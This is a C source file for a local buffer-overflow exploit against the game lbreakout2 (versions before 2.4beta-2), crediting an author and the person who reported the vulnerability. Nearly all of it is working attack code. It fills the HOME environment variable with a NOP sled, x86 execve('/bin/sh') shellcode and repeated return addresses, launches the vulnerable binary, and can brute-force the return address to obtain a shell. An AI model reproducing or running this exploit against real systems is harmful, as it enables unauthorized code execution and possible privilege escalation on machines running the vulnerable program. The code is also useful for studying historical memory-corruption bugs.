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/*
* lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr
* vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>
* usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>
#define BSIZE 200
#define D_START 0xbfffffff
#define PATH "/usr/local/bin/lbreakout2"
void exec_vuln();
int tease();
int make_string(long ret_addr);
int bruteforce(long start);
void banner(char *argv);
char shellcode[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char *buffer,*ptr;
int
main(int argc,char *argv[])
{
char * option_list = "br:s:";
int option,brute = 0,opterr = 0;
long ret,start = D_START;
if (argc < 2) banner(argv[0]);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'b':
brute = 1;
break;
case 'r':
ret = strtoul(optarg,NULL,0);
make_string(ret);
tease();
exit(1);
break;
case 's':
start = strtoul(optarg,NULL,0);
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
banner(argv[0]);
exit(1);
}
if(brute)
bruteforce(start);
return 0;
}
void
exec_vuln()
{
execl(PATH,PATH,NULL);
}
int
tease()
{
pid_t pid;
pid_t wpid;
int status;
pid = fork();
if (pid == -1)
{
fprintf(stderr, "[-] %s: Failed to fork()\n",strerror(errno));
exit(13);
}
else if (pid == 0)
{
exec_vuln();
}
else
{
wpid = wait(&status);
if (wpid == -1)
{
fprintf(stderr,"[-] %s: wait()\n",strerror(errno));
return 1;
}
else if (wpid != pid)
abort();
else
{
if (WIFEXITED(status))
{
fprintf(stdout,"[+] Exited: shell's ret code = %d\n",WEXITSTATUS(status));
return WEXITSTATUS(status);
}
else if (WIFSIGNALED(status))
return WTERMSIG(status);
else
fprintf(stderr,"[-] Stopped.\n");
}
}
return 1;
}
int
make_string(long ret_addr)
{
int i;
long ret,addr,*addr_ptr;
buffer = (char *)malloc(1024);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory\n");
exit(-1);
}
ret = ret_addr;
ptr = buffer;
memset(ptr,0x90,BSIZE-strlen(shellcode));
ptr += BSIZE-strlen(shellcode);
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
addr_ptr = (long *)ptr;
for(i=0;i<200;i++)
*(addr_ptr++) = ret;
ptr = (char *)addr_ptr;
*ptr = 0;
setenv("HOME",buffer,1);
return 0;
}
int
bruteforce(long start)
{
int ret;
long i;
fprintf(stdout,"[+] Starting bruteforcing...\n");
for(i=start;i<0;i=i-50)
{
fprintf(stdout,"[+] Testing 0x%x...\n",i);
make_string(i);
ret=tease();
if(ret==0)
{
fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
break;
}
}
return 0;
}
void
banner(char *argv)
{
fprintf(stderr,"lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr\n");
fprintf(stderr,"vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>\n");
fprintf(stderr,"usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n",argv);
exit(1);
}
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